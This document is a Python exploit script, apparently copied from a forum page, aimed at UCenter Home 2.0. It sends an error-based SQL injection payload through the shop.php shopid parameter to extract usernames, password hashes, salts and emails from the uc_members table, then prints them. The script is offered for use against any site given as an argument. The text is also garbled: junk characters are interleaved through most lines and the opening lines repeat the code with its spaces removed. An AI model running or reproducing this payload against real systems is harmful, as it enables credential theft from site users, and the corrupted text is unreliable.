#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl
4 T5 A2 D/ h7 A# c3 X# y) U+ a5 ? * X% F; @, ], F
3 h/ [2 w; Z0 H+ H#!/usr/bin/env python
, O2 r, _9 Q3 t1 b: M7 o
* b3 g1 `$ @5 L7 a gimport sys
6 C1 j7 f2 X7 o, `" Z5 r" [import urllib2 y7 c0 j2 L5 U f# n3 ]- O
import re 7 w. I" c, p; C. L# E, |0 K
) A% ?( |, u( `; ~
def info(): 2 o4 G7 N# d- a6 k9 [
print 'From:http://www.exploit-db.com/exploits/14997/'
$ Z/ l4 K% ] h& I; Z print 'http://www.hake.cc/Web_loudong/'
1 n7 a" z/ o( r, ?" l# P) | print 'changed:qiaoy' ( A( g) G+ o. I6 z8 Y7 l n
print 'exp:' 2 P6 q5 {7 E( i; i: q, ?
print ' ./UCenter_Home_2.0.py site'
7 W, H) d* _9 |1 n) a) T ) R$ B& s+ o8 K+ p* l7 O4 L
def main(): 6 [/ R3 l/ r- s2 o. u
if len(sys.argv) != 2: + H. q; O x9 C
info() 7 y3 I$ c% w# t3 C' H& ^9 p1 T& e5 E
else:
. C$ R* |. b6 ?" E5 _2 @8 B& U site = sys.argv[1]
3 N; a! Y6 [' Y3 o if site[0:7] == 'http://':
) w" s( S/ j: t- I" {, Q! H sitesite =site
" d6 z4 r- g$ d/ x elif site[0:8] == 'https://':
" _. D/ r! m5 `7 F+ Z3 g/ Y sitesite = site 1 j/ A" D- y6 C# A) u
else:
* X% X' o' ^' p9 [" Y; B+ ], g( o+ r2 G site = 'http://'+site
/ ^8 H: F7 s! h+ b: j try: 6 L+ r, ]" M$ Q, e* Y# Y
url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'
4 O+ P8 g) D# r+ ~ Value = urllib2.urlopen(url).read() & |0 S9 Z: V( J( j1 u' u, H- _- k3 u4 L$ [
Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]
: U) Y9 O- M* h- A" W5 ^8 j, | hacked = Msg.split(':') 5 S2 ]/ }5 a+ Q) p2 v! O
print 'Name: '+hacked[1]
" T2 {- L) b( I6 V print 'Passwd: '+hacked[2] # @8 C9 N( d) E, S1 {
print 'salt: '+hacked[3]
3 g8 y* Z8 y3 z8 M% {3 K print 'email: '+hacked[4]
8 c* S- x1 \/ b except: 2 @7 i5 I0 S' L( D
print 'Sorry,I can\'t work............'
?) E ?0 ~6 R! T$ M1 `; t2 O& D& X
: \3 w2 N5 c3 q9 v9 H( aif __name__ == '__main__':
1 T% j0 r3 U2 f. L( ~0 } main() |